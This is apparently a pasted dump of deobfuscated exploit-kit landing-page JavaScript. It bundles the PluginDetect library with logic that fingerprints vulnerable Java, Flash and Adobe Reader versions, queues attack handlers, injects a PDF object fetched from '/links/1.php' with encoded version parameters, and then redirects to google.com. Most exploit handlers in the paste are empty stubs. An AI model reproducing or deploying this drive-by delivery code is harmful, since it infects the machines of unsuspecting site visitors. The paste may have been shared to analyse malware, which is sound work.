  948.           }
  949.           , f = {
  950.           }
  951.           , a, c = null, i = null, b = (k.hasRun || k.disabled());
  952.           k.hasRun = 1;
  953.           if (b){
  954.             return k
  955.           }
  956.           k.status = 0;
  957.           if (g.isIE && 6 <= g.verIE){
  958.             for (l = 0; l < k.classID.length; l ++ ){
  959.               k.HTML = g.insertHTML("object", ["classid", k.classID[l]], []);
  960.               c = g.getDOMobj(k.HTML);
  961.               try {
  962.                 if (c && c.jvms){
  963.                   break
  964.                 }
  965.               }
  966.               catch (j){
  967.               }
  968.             }
  969.           }
  970.           else {
  971.             if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type){
  972.               k.HTML = g.insertHTML("object", ["type", h.type], []);
  973.               c = g.getDOMobj(k.HTML)
  974.             }
  975.           }
  976.           if (c){
  977.             try {
  978.               a = c.jvms;
  979.               if (a){
  980.                 i = a.getLength();
  981.                 if (g.isNum(i)){
  982.                   k.status = 0 < i ? 1 :- 1;
  983.                   for (l = 0; l < i; l ++ ){
  984.                     h = g.getNum(a.get(i - 1 - l).version);
  985.                     if (h){
  986.                       k.VERSIONS.push(h);
  987.                       f["a" + g.formatNum(h)] = 1
  988.                     }
  989.                   }
  990.                 }
  991.               }
  992.             }
  993.             catch (j){
  994.             }
  995.           }
  996.           h = 0;
  997.           for (lin f){
  998.             h ++
  999.           }
  1000.           if (h && h !== k.VERSIONS.length){
  1001.             k.VERSIONS = []
  1002.           }
  1003.           if (k.VERSIONS.length){
  1004.             k.version = g.formatNum(k.VERSIONS[0])
  1005.           }
  1006.           ;
  1007.           return k
  1008.         }
  1009.       }
  1010.       , AXO : {
  1011.         $ : 1, hasRun : 0, VERSIONS : [], version : "", disabled : function (){
  1012.           return this .$$.isDisabled.AXO()
  1013.         }
  1014.         , JavaVersions : [[1, 9, 1, 40], [1, 8, 1, 40], [1, 7, 1, 40], [1, 6, 0, 40], [1,
  1015.         5, 0, 30], [1, 4, 2, 30], [1, 3, 1, 30]], query : function (){
  1016.           var a = this , e = a.$, b = a.$$, c = (a.hasRun || a.disabled());
  1017.           a.hasRun = 1;
  1018.           if (c){
  1019.             return a
  1020.           }
  1021.           var i = [], k = [1, 5, 0, 14], j = [1, 6, 0, 2], h = [1, 3, 1, 0], g = [1, 4, 2,
  1022.           0], f = [1, 5, 0, 7], d = b.getInfo ? true : false, l = {
  1023.           }
  1024.           ;
  1025.           if (b.minIEver <= e.verIE){
  1026.             i = a.search(j, j, d);
  1027.             if (0 < i.length && d){
  1028.               i = a.search(k, k, d)
  1029.             }
  1030.           }
  1031.           else {
  1032.             if (d){
  1033.               i = a.search(f, f, true)
  1034.             }
  1035.             if (i.length == 0){
  1036.               i = a.search(h, g, false)
  1037.             }
  1038.           }
  1039.           if (i.length){
  1040.             a.version = i[0];
  1041.             a.VERSIONS = [].concat(i)
  1042.           }
  1043.           ;
  1044.           return a
  1045.         }
  1046.         , search : function (a, j, p){
  1047.           var h, d, f = this , e = f.$, k = f.$$, n, c, l, q, b, o, r, i = [];
  1048.           if (0 < e.compareNums(a.join(","), j.join(","))){
  1049.             j = a
  1050.           }
  1051.           j = e.formatNum(j.join(","));
  1052.           var m, s = "1,4,2,0", g = "JavaPlugin." + a[0] + "" + a[1] + "" + a[2] + "" + (0
  1053.            < a[3] ? ("_" + (a[3] < 10 ? "0" : "") + a[3]) : "");
  1054.           for (h = 0; h < f.JavaVersions.length; h ++ ){
  1055.             d = f.JavaVersions[h];
  1056.             n = "JavaPlugin." + d[0] + "" + d[1];
  1057.             b = d[0] + "." + d[1] + ".";
  1058.             for (l = d[2];
  1059.             l >= 0; l -- ){
  1060.               r = "JavaWebStart.isInstalled." + b + l + ".0";
  1061.               if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j) >= 0 &&! e.getAXO(r
  1062.               )){
  1063.                 continue
  1064.               }
  1065.               m = 0 > e.compareNums(d[0] + "," + d[1] + "," + l + ",0", s) ? true : false;
  1066.               for (q = d[3];
  1067.               q >= 0; q -- ){
  1068.                 c = l + "_" + (q < 10 ? "0" + q : q);
  1069.                 o = n + c;
  1070.                 if (e.getAXO(o) && (m || e.getAXO(r))){
  1071.                   i.push(b + c);
  1072.                   if (!p){
  1073.                     return i
  1074.                   }
  1075.                 }
  1076.                 if (o == g){
  1077.                   return i
  1078.                 }
  1079.               }
  1080.               if (e.getAXO(n + l) && (m || e.getAXO(r))){
  1081.                 i.push(b + l);
  1082.                 if (!p){
  1083.                   return i
  1084.                 }
  1085.               }
  1086.               if (n + l == g){
  1087.                 return i
  1088.               }
  1089.             }
  1090.           }
  1091.           return i
  1092.         }
  1093.       }
  1094.       , navMime : {
  1095.         $ : 1, hasRun : 0, mimetype : "", version : "", length : 0, mimeObj : 0, pluginObj
  1096.          : 0, disabled : function (){
  1097.           return this .$$.isDisabled.navMime()
  1098.         }
  1099.         , query : function (){
  1100.           var i = this , f = i.$, a = i.$$, b = (i.hasRun || i.disabled());
  1101.           i.hasRun = 1;
  1102.           if (b){
  1103.             return i
  1104.           }
  1105.           ;
  1106.           var n =/^\ s * application \/ x - java - applet;
  1107.           jpi - version \ s *=\ s * ( \ d. * )$ / i, g, l, j, d = "", h = "a", o, m, k =
  1108.           {
  1109.           }
  1110.           , c = f.formatNum("0");
  1111.           for (l = 0; l < navigator.mimeTypes.length; l ++ ){
  1112.             o = navigator.mimeTypes[l];
  1113.             m = o ? o.enabledPlugin : 0;
  1114.             g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1115.             if (g && m && (m.description || m.name)){
  1116.               if (!k[h + g]){
  1117.                 i.length ++
  1118.               }
  1119.               k[h + g] = o.type;
  1120.               if (0 < f.compareNums(g, c)){
  1121.                 c = g
  1122.               }
  1123.             }
  1124.           }
  1125.           g = k[h + c];
  1126.           if (g){
  1127.             o = f.hasMimeType(g);
  1128.             i.mimeObj = o;
  1129.             i.pluginObj = o ? o.enabledPlugin : 0;
  1130.             i.mimetype = g;
  1131.             i.version = c
  1132.           }
  1133.           ;
  1134.           return i
  1135.         }
  1136.       }
  1137.       , navPlugin : {
  1138.         $ : 1, hasRun : 0, version : "", disabled : function (){
  1139.           return this .$$.isDisabled.navPlugin()
  1140.         }
  1141.         , query : function (){
  1142.           var m = this , e = m.$, c = m.$$, h = c.navigator, j, l, k, g, d, a, i, f = 0, b
  1143.            = (m.hasRun || m.disabled());
  1144.           m.hasRun = 1;
  1145.           if (b){
  1146.             return m
  1147.           }
  1148.           ;
  1149.           a = h.pluginObj.name || "";
  1150.           i = h.pluginObj.description || "";
  1151.           if (!f || c.debug){
  1152.             g =/ Java. * TM. * Platform[ ^\ d] * ( \ d + )( ?: [ \ ., _]( \ d * )) ? ( ?:\
  1153.             s * [Update] +\ s * ( \ d * )) ?/ i;
  1154.             if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5){
  1155.               f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.
  1156.               $3 ? RegExp.$3 : "0")
  1157.             }
  1158.           }
  1159.           if (!f || c.debug){
  1160.             g =/ Java[ ^\ d] * Plug - in  / i;
  1161.             l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1162.             k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1163.             if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.
  1164.             formatNum("2")) >= 0)){
  1165.               l = 0
  1166.             }
  1167.             if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.
  1168.             formatNum("2")) >= 0)){
  1169.               k = 0
  1170.             }
  1171.             d = l && k ? (0 < e.compareNums(l, k) ? l : k) : (l || k);
  1172.             if (d){
  1173.               f = d
  1174.             }
  1175.           }
  1176.           if (!f && e.isSafari && e.OS == 2){
  1177.             j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", 0);
  1178.             if (j){
  1179.               l = e.getNum(j.description);
  1180.               if (l){
  1181.                 f = l
  1182.               }
  1183.             }
  1184.           }
  1185.           ;
  1186.           if (f){
  1187.             m.version = e.formatNum(f)
  1188.           }
  1189.           ;
  1190.           return m
  1191.         }
  1192.       }
  1193.       , lang : {
  1194.         $ : 1, System : {
  1195.           $ : 1, hasRun : 0, result : [null, null], disabled : function (){
  1196.             return this .$$.isDisabled.windowDotJava()
  1197.           }
  1198.           , getPropertyHas : function (a){
  1199.             var b = this , d = b.$, c = b.getProperty()[0];
  1200.             return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 : 0
  1201.           }
  1202.           , getProperty : function (){
  1203.             var f = this , g = f.$, d = f.$$, i, h = {
  1204.             }
  1205.             , b = f.hasRun || f.disabled();
  1206.             f.hasRun = 1;
  1207.             if (!b){
  1208.               var a = "java_qqq990";
  1209.               g[a] = null;
  1210.               try {
  1211.                 var c = document.createElement("script");
  1212.                 c.type = "text/javascript";
  1213.                 c.appendChild(document.createTextNode('
  1214. (function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.
  1215. java.lang.System.getProperty("java.vendor")+" "]}catch(e){};' + g.name + "." + a +
  1216.                 "=a||0})();"));
  1217.                 g.head.insertBefore(c, g.head.firstChild);
  1218.                 g.head.removeChild(c)
  1219.               }
  1220.               catch (i){
  1221.               }
  1222.               if (g[a] && g.isArray(g[a])){
  1223.                 f.result = [].concat(g[a])
  1224.               }
  1225.             }
  1226.             return f.result
  1227.           }
  1228.         }
  1229.       }
  1230.       , applet : {
  1231.         $ : 1, results : [[null, null], [null, null], [null, null]], getResult : function
  1232.         (){
  1233.           var c = this .results, a, b = [];
  1234.           for (a = 0; a < c.length; a ++ ){
  1235.             b = c[a];
  1236.             if (b[0]){
  1237.               break
  1238.             }
  1239.           }
  1240.           return [].concat(b)
  1241.         }
  1242.         , HTML : [0, 0, 0], active : [0, 0, 0], DummyObjTagHTML : 0, DummySpanTagHTML : 0,
  1243.         allowed : [1, 1, 1], VerifyTagsHas : function (c){
  1244.           var d = this , b;
  1245.           for (b = 0; b < d.allowed.length; b ++ ){
  1246.             if (d.allowed[b] === c){
  1247.               return 1
  1248.             }
  1249.           }
  1250.           return 0
  1251.         }
  1252.         , saveAsVerifyTagsArray : function (c){
  1253.           var b = this , d = b.$, a;
  1254.           if (d.isArray(c)){
  1255.             for (a = 0; a < b.allowed.length; a ++ ){
  1256.               if (d.isNum(c[a])){
  1257.                 if (0 > c[a]){
  1258.                   c[a] = 0
  1259.                 }
  1260.                 if (c[a] > 3){
  1261.                   c[a] = 3
  1262.                 }
  1263.                 b.allowed[a] = c[a]
  1264.               }
  1265.             }
  1266.           }
  1267.         }
  1268.         , setVerifyTagsArray : function (d){
  1269.           var b = this , c = b.$, a = b.$$;
  1270.           if (a.getVersionDone === null){
  1271.             b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1272.           }
  1273.           if (a.debug || (a.verify && a.verify.isEnabled())){
  1274.             b.saveAsVerifyTagsArray([3, 3, 3])
  1275.           }
  1276.           else {
  1277.             if (d){
  1278.               b.saveAsVerifyTagsArray(d)
  1279.             }
  1280.           }
  1281.         }
  1282.         , allDisabled : function (){
  1283.           return this .$$.isDisabled.allApplets()
  1284.         }
  1285.         , isDisabled : function (d){
  1286.           var b = this , c = b.$, a = b.$$;
  1287.           if (d == 2 &&! c.isIE){
  1288.             return 1
  1289.           }
  1290.           if (d === 0 || d == 2){
  1291.             return a.isDisabled.ObjectTag()
  1292.           }
  1293.           if (d == 1){
  1294.             return a.isDisabled.AppletTag()
  1295.           }
  1296.         }
  1297.         , can_Insert_Query : function (b){
  1298.           var a = this ;
  1299.           if (a.HTML[b]){
  1300.             return 0
  1301.           }
  1302.           return !a.isDisabled(b)
  1303.         }
  1304.         , can_Insert_Query_Any : function (){
  1305.           var b = this , a;
  1306.           for (a = 0; a < b.results.length; a ++ ){
  1307.             if (b.can_Insert_Query(a)){
  1308.               return 1
  1309.             }
  1310.           }
  1311.           return 0
  1312.         }
  1313.         , should_Insert_Query : function (d){
  1314.           var b = this , e = b.allowed, c = b.$, a = b.$$;
  1315.           if (!b.can_Insert_Query(d)){
  1316.             return 0
  1317.           }
  1318.           if (e[d] == 3){
  1319.             return 1
  1320.           }
  1321.           if (e[d] == 2.8 &&! b.getResult()[0]){
  1322.             return 1
  1323.           }
  1324.           if (e[d] == 2.5 &&! a.lang.System.getProperty()[0]){
  1325.             return 1
  1326.           }
  1327.           if (e[d] == 2.2 &&! a.lang.System.getProperty()[0] &&! b.getResult()[0]){
  1328.             return 1
  1329.           }
  1330.           if (!a.nonAppletDetectionOk(a.version0)){
  1331.             if (e[d] == 2){
  1332.               return 1
  1333.             }
  1334.             if (e[d] == 1 &&! b.getResult()[0]){
  1335.               return 1
  1336.             }
  1337.           }
  1338.           return 0
  1339.         }
  1340.         , should_Insert_Query_Any : function (){
  1341.           var b = this , a;
  1342.           for (a = 0; a < b.allowed.length; a ++ ){
  1343.             if (b.should_Insert_Query(a)){
  1344.               return 1
  1345.             }
  1346.           }
  1347.           return 0
  1348.         }
  1349.         , query : function (f){
  1350.           var h, a = this , g = a.$, d = a.$$, i = null, j = null, b = a.results, c;
  1351.           if ((b[f][0] && b[f][1]) || (d.debug && d.OTF < 3)){
  1352.             return
  1353.           }
  1354.           c = g.getDOMobj(a.HTML[f], true);
  1355.           if (c){
  1356.             try {
  1357.               i = g.getNum(c.getVersion() + " ");
  1358.               j = c.getVendor() + " ";
  1359.               c.statusbar(g.winLoaded ? " " : " ")
  1360.             }
  1361.             catch (h){
  1362.             }
  1363.             if (i && g.isStrNum(i)){
  1364.               b[f] = [i, j]
  1365.             }
  1366.             else {
  1367.             }
  1368.             ;
  1369.             try {
  1370.               if (g.isIE && i && c.readyState != 4){
  1371.                 g.garbage = true;
  1372.                 c.parentNode.removeChild(c)
  1373.               }
  1374.             }
  1375.             catch (h){
  1376.             }
  1377.           }
  1378.         }
  1379.         , insert_Query_Any : function (){
  1380.           var d = this , i = d.$, e = d.$$, l = d.results, p = d.HTML, a =
  1381.           "&nbsp;&nbsp;&nbsp;&nbsp;", g = "A.class", m = i.file.getValid(e);
  1382.           if (!m){
  1383.             return d.getResult()
  1384.           }
  1385.           if (e.OTF < 1){
  1386.             e.OTF = 1
  1387.           }
  1388.           if (d.allDisabled()){
  1389.             return d.getResult()
  1390.           }
  1391.           if (e.OTF < 1.5){
  1392.             e.OTF = 1.5
  1393.           }
  1394.           var j = m.name + m.ext, h = m.path;
  1395.           var f = ["archive", j, "code", g], c = ["mayscript", "true"], o = ["scriptable",
  1396.           "true"].concat(c), n = e.navigator, b =! i.isIE && n.mimeObj && n.mimeObj.type ?
  1397.           n.mimeObj.type : e.mimeType[0];
  1398.           if (d.should_Insert_Query(0)){
  1399.             if (e.OTF < 2){
  1400.               e.OTF = 2
  1401.             }
  1402.             ;
  1403.             p[0] = i.isIE ? i.insertHTML("object", ["type", b], ["codebase", h].concat(f).
  1404.             concat(o), a, e) : i.insertHTML("object", ["type", b], ["codebase", h].concat(
  1405.             f).concat(o), a, e);
  1406.             l[0] = [0, 0];
  1407.             d.query(0)
  1408.           }
  1409.           if (d.should_Insert_Query(1)){
  1410.             if (e.OTF < 2){
  1411.               e.OTF = 2
  1412.             }
  1413.             ;
  1414.             p[1] = i.isIE ? i.insertHTML("applet", ["alt", a].concat(c).concat(f), [
  1415.             "codebase", h].concat(c), a, e) : i.insertHTML("applet", ["codebase", h, "alt"
  1416.             , a].concat(c).concat(f), [].concat(c), a, e);
  1417.             l[1] = [0, 0];
  1418.             d.query(1)
  1419.           }
  1420.           if (d.should_Insert_Query(2)){
  1421.             if (e.OTF < 2){
  1422.               e.OTF = 2
  1423.             }
  1424.             ;
  1425.             p[2] = i.isIE ? i.insertHTML("object", ["classid", e.classID], ["codebase", h
  1426.             ].concat(f).concat(o), a, e) : i.insertHTML();
  1427.             l[2] = [0, 0];
  1428.             d.query(2)
  1429.           }
  1430.           if (!d.DummyObjTagHTML &&! e.isDisabled.ObjectTag()){
  1431.             d.DummyObjTagHTML = i.insertHTML("object", [], [], a)
  1432.           }
  1433.           if (!d.DummySpanTagHTML){
  1434.             d.DummySpanTagHTML = i.insertHTML("", [], [], a)
  1435.           }
  1436.           ;
  1437.           var k = e.NOTF;
  1438.           if (e.OTF < 3 && k.shouldContinueQuery()){
  1439.             e.OTF = 3;
  1440.             k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k);
  1441.             if (!i.winLoaded){
  1442.               i.WLfuncs0.push([k.winOnLoadQuery, k])
  1443.             }
  1444.             setTimeout(k.onIntervalQuery, k.intervalLength)
  1445.           }
  1446.           ;
  1447.           return d.getResult()
  1448.         }
  1449.       }
  1450.       , NOTF : {
  1451.         $ : 1, count : 0, countMax : 25, intervalLength : 250, shouldContinueQuery :
  1452.         function (){
  1453.           var e = this , d = e.$, c = e.$$, b = c.applet, a;
  1454.           for (a = 0; a < b.results.length; a ++ ){
  1455.             if (b.HTML[a] &&! b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1
  1456.              &&! b.getResult()[0])) && e.isAppletActive(a) >= 0){
  1457.               return 1
  1458.             }
  1459.           }
  1460.           return 0
  1461.         }
  1462.         , isJavaActive : function (d){
  1463.           var f = this , c = f.$$, a, b, e =- 9;
  1464.           for (a = 0; a < c.applet.HTML.length; a ++ ){
  1465.             b = f.isAppletActive(a, d);
  1466.             if (b > e){
  1467.               e = b
  1468.             }
  1469.           }
  1470.           return e
  1471.         }
  1472.         , isAppletActive : function (c, a){
  1473.           var d = this , b = d.$$.applet.active;
  1474.           if (!a){
  1475.             b[c] = d.isAppletActive_(c)
  1476.           }
  1477.           return b[c]
  1478.         }
  1479.         , isAppletActive_ : function (d){
  1480.           var g = this , f = g.$, b = g.$$, l = b.navigator, a = b.applet, h = a.HTML[d],
  1481.           i, k, c = 0, j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.
  1482.           count);
  1483.           if (j ==- 2){
  1484.             return  - 2
  1485.           }
  1486.           try {
  1487.             if (f.isIE && b.minIEver <= f.verIE && f.getDOMobj(h).object){
  1488.               return 1
  1489.             }
  1490.           }
  1491.           catch (i){
  1492.           }
  1493.           for (k = 0; k < a.active.length; k ++ ){
  1494.             if (0 < a.active[k]){
  1495.               c = 1
  1496.             }
  1497.           }
  1498.           if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.
  1499.           tagName == "object" || c)) || b.lang.System.getProperty()[0]))){
  1500.             return 1
  1501.           }
  1502.           if (0 > j){
  1503.             return  - 1
  1504.           }
  1505.           return 0
  1506.         }
  1507.         , winOnLoadQuery : function (c, d){
  1508.           var b = d.$$, a;
  1509.           if (b.OTF == 3){
  1510.             a = d.queryAllApplets();
  1511.             d.queryCompleted(a[1], a[2])
  1512.           }
  1513.         }
  1514.         , $$onIntervalQuery : function (d){
  1515.           var c = d.$, b = d.$$, a;
  1516.           if (b.OTF == 3){
  1517.             a = d.queryAllApplets();
  1518.             if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)){
  1519.               d.queryCompleted(a[1], a[2])
  1520.             }
  1521.           }
  1522.           d.count++;
  1523.           if (b.OTF == 3){
  1524.             setTimeout(d.onIntervalQuery, d.intervalLength)
  1525.           }
  1526.         }
  1527.         , queryAllApplets : function (){
  1528.           var g = this , f = g.$, e = g.$$, d = e.applet, b, a, c;
  1529.           for (b = 0; b < d.results.length; b ++ ){
  1530.             d.query(b)
  1531.           }
  1532.           a = d.getResult();
  1533.           c = a[0] ? true : false;
  1534.           return [c, a[0], a[1]]
  1535.         }
  1536.         , queryCompleted : function (c, f){
  1537.           var e = this , d = e.$, b = e.$$;
  1538.           if (b.OTF >= 4){
  1539.             return
  1540.           }
  1541.           b.OTF = 4;
  1542.           var a = e.isJavaActive();
  1543.           b.setPluginStatus(c, f, 0);
  1544.           if (b.funcs){
  1545.             d.callArray(b.funcs)
  1546.           }
  1547.           if (d.onDoneEmptyDiv){
  1548.             d.onDoneEmptyDiv()
  1549.           }
  1550.         }
  1551.       }
  1552.       , zz : 0
  1553.     }
  1554.     , flash : {
  1555.       mimeType : "application/x-shockwave-flash", progID : "ShockwaveFlash.ShockwaveFlash"
  1556.       , classID : "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000", getVersion : function (){
  1557.         var b = function (i){
  1558.           if (!i){
  1559.             return null
  1560.           }
  1561.           var e =/ [ \ d][ \ d \,\ . \ s] * [rRdD]{
  1562.             0, 1
  1563.           }
  1564.           [ \ d \, ] */ .exec(i);
  1565.           return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  1566.         }
  1567.         ;
  1568.         var j = this , g = j.$, k, h, l = null, c = null, a = null, f, m, d;
  1569.         if (!g.isIE){
  1570.           m = g.hasMimeType(j.mimeType);
  1571.           if (m){
  1572.             f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
  1573.             try {
  1574.               l = g.getNum(f.GetVariable("$version"))
  1575.             }
  1576.             catch (k){
  1577.             }
  1578.           }
  1579.           if (!l){
  1580.             d = m ? m.enabledPlugin : null;
  1581.             if (d && d.description){
  1582.               l = b(d.description)
  1583.             }
  1584.             if (l){
  1585.               l = g.getPluginFileVersion(d, l)
  1586.             }
  1587.           }
  1588.         }
  1589.         else {
  1590.           for (h = 15; h > 2; h -- ){
  1591.             c = g.getAXO(j.progID + "." + h);
  1592.             if (c){
  1593.               a = h.toString();
  1594.               break
  1595.             }
  1596.           }
  1597.           if (!c){
  1598.             c = g.getAXO(j.progID)
  1599.           }
  1600.           if (a == "6"){
  1601.             try {
  1602.               c.AllowScriptAccess = "always"
  1603.             }
  1604.             catch (k){
  1605.               return "6,0,21,0"
  1606.             }
  1607.           }
  1608.           try {
  1609.             l = b(c.GetVariable("$version"))
  1610.           }
  1611.           catch (k){
  1612.           }
  1613.           if (!l && a){
  1614.             l = a
  1615.           }
  1616.         }
  1617.         j.installed = l ? 1 :- 1;
  1618.         j.version = g.formatNum(l);
  1619.         return true
  1620.       }
  1621.     }
  1622.     , adobereader : {
  1623.       mimeType : "application/pdf", navPluginObj : null, progID : ["AcroPDF.PDF",
  1624.       "PDF.PdfCtrl"], classID : "clsid:CA8A9780-280D-11CF-A24D-444553540000", INSTALLED :
  1625.       {
  1626.       }
  1627.       , pluginHasMimeType : function (d, c, f){
  1628.         var b = this , e = b.$, a;
  1629.         for (ain d){
  1630.           if (d[a] && d[a].type && d[a].type == c){
  1631.             return 1
  1632.           }
  1633.         }
  1634.         if (e.getMimeEnabledPlugin(c, f)){
  1635.           return 1
  1636.         }
  1637.         return 0
  1638.       }
  1639.       , getVersion : function (l, j){
  1640.         var g = this , d = g.$, i, f, m, n, b = null, h = null, k = g.mimeType, a, c;
  1641.         if (d.isString(j)){
  1642.           j = j.replace(/\s/g, "");
  1643.           if (j){
  1644.             k = j
  1645.           }
  1646.         }
  1647.         else {
  1648.           j = null
  1649.         }
  1650.         if (d.isDefined(g.INSTALLED[k])){
  1651.           g.installed = g.INSTALLED[k];
  1652.           return
  1653.         }
  1654.         if (!d.isIE){
  1655.           a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1656.           if (g.getVersionDone !== 0){
  1657.             g.getVersionDone = 0;
  1658.             b = d.getMimeEnabledPlugin(g.mimeType, a);
  1659.             if (!j){
  1660.               n = b
  1661.             }
  1662.             if (!b && d.hasMimeType(g.mimeType)){
  1663.               b = d.findNavPlugin(a, 0)
  1664.             }
  1665.             if (b){
  1666.               g.navPluginObj = b;
  1667.               h = d.getNum(b.description) || d.getNum(b.name);
  1668.               h = d.getPluginFileVersion(b, h);
  1669.               if (!h && d.OS == 1){
  1670.                 if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)){
  1671.                   h = "9"
  1672.                 }
  1673.                 else {
  1674.                   if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)){
  1675.                     h = "8"
  1676.                   }
  1677.                 }
  1678.               }
  1679.             }
  1680.           }
  1681.           else {
  1682.             h = g.version
  1683.           }
  1684.           if (!d.isDefined(n)){
  1685.             n = d.getMimeEnabledPlugin(k, a)
  1686.           }
  1687.           g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ?- 0.2 :- 1))
  1688.         }
  1689.         else {
  1690.           b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  1691.           c =/=\ s * ([ \ d \ .] + ) / g;
  1692.           try {
  1693.             f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src",
  1694.             ""], "", g))).GetVersions();
  1695.             for (m = 0; m < 5; m ++ ){
  1696.               if (c.test(f) && (!h || h < RegExp.$1)){
  1697.                 h = RegExp.$1
  1698.               }
  1699.             }
  1700.           }
  1701.           catch (i){
  1702.           }
  1703.           g.installed = h ? 1 : (b ? 0 :- 1)
  1704.         }
  1705.         if (!g.version){
  1706.           g.version = d.formatNum(h)
  1707.         }
  1708.         g.INSTALLED[k] = g.installed
  1709.       }
  1710.     }
  1711.     , zz : 0
  1712.   }
  1713. }
  1714. ;
  1715. PluginDetect.initScript();
  1716. PluginDetect.getVersion(".");
  1717. var $$ = PluginDetect;
  1718. function x(s){
  1719.   d = [];
  1720.   for (i = 0; i < s.length; i ++ ){
  1721.     k = (s.charCodeAt(i)).toString(33);
  1722.     d.push(k);
  1723.   }
  1724.   ;
  1725.   return d.join(":");
  1726. }
  1727. end_redirect = function (){
  1728.   window.location.href = 'http://google.com';
  1729. }
  1730. ;
  1731. function j1(){
  1732.   return true;
  1733. }
  1734. function j2(){
  1735.   return true;
  1736. }
  1737. function p1(){
  1738.   var d = document.createElement("object");
  1739.   d.setAttribute("data", "/links/1.php?dcdjf=" + x("c833f") + "&nybnj=" + x("cqk") +
  1740.   "&kve=1j:1n:1m:1l:1m:2w:31:1j:1m:1g&vbpuhlu=" + x(pdfver.join(".")));
  1741.   d.setAttribute("type", "application/pdf");
  1742.   document.body.appendChild(d);
  1743. }
  1744. function p2(){
  1745.   return false;
  1746. }
  1747. function f1(){
  1748.   return false;
  1749. }
  1750. function ff2(){
  1751.   return false;
  1752. }
  1753. document.write('');
  1754. setTimeout(end_redirect, 61000);
  1755. var pdfver = [];
  1756. function svwrbew6436b($){
  1757.   var ar = [];
  1758.   var javax = ($.getVersion("Ja" + "va") + ".").toString()["split"](".");
  1759.   if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3] < 9
  1760.   ))){
  1761.     ar["push"](j2);
  1762.   }
  1763.   else if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 6 && javax[3
  1764.   ] < 33) || (javax[0] == 1 && javax[1] < 6))){
  1765.     ar["push"](j1);
  1766.   }
  1767.   pdfver = PluginDetect.getVersion("AdobeReader");
  1768.   if (window.document)if (typeof pdfver == "string"){
  1769.     pdfver = pdfver["split"](".")
  1770.   }
  1771.   else {
  1772.     pdfver = [0, 0, 0, 0]
  1773.   }
  1774.   if (pdfver[0] > 0 && pdfver[0] < 8){
  1775.     if (window.document)ar["push"](p1);
  1776.   }
  1777.   if (window.document && (pdfver[0] == 8 || (pdfver[0] == 9 && pdfver[1] < 4))){
  1778.     ar["push"](p2);
  1779.   }
  1780.   var ver = ($$.getVersion("Flash") + ".").toString()["split"](".");
  1781.   if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || (window.document && (ver[0] == 10 &&
  1782.   ver[1] > 0) && (ver[0] == 10 && ver[1] < 2))) || window.document && ((ver[0] == 10 &&
  1783.   ver[1] == 2 && ver[2] < 159) || (ver[0] == 10 && ver[1] < 2))){
  1784.     ar["push"](ff2);
  1785.   }
  1786.   if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 &&
  1787.   ver[1] == 3 && ver[2] < 181)){
  1788.     ar["push"](f1);
  1789.   }
  1790.   var arcalli = 0;
  1791.   var arcall = function (){
  1792.     if (ar.length <= arcalli)return 123;
  1793.     ss = setTimeout;
  1794.     var res = ar[arcalli]();
  1795.     arcalli++;
  1796.     if (res && window.document){
  1797.       ss(function (){
  1798.         arcall()
  1799.       }
  1800.       , 5509);
  1801.     }
  1802.     else {
  1803.       arcall();
  1804.     }
  1805.   }
  1806.   ;
  1807.   arcall();
  1808. }
  1809. $$["onDetec" + "tionDone"]("Ja" + "va", svwrbew6436b, "../data/getJavaInfo.jar");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement